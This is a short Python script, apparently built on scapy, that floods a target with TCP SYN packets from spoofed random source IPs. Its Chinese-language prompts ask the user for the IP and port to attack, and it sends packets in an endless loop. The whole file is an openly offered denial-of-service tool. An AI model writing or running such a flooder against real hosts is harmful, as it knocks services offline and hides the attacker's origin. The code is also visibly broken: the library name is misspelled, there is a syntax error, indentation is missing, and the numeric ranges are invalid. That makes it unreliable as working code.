from sacpy.all import *
import random
def ip():
s = []
for i in range(4):
s.append(str(random.randint(0,256)))
sip = '.'.join(s)
return sip
def synFlood(src,tgt,dport):
sport =random.randint(1024,65536):
IPlayer = IP(src=src,dst=tgt)
TCPlayer = TCP(sport=sport,dport=dport)
pkt = IPlayer / TCPlayer
send(pkt)
def main():
while 1:
src = ip()
tgt = input("請輸入你要攻擊的目標IP:")
dport = int(input("請輸入你要攻擊的目標端口:"))
synFlood(src,tgt,dport)
if __name__ == "__main__":
main()
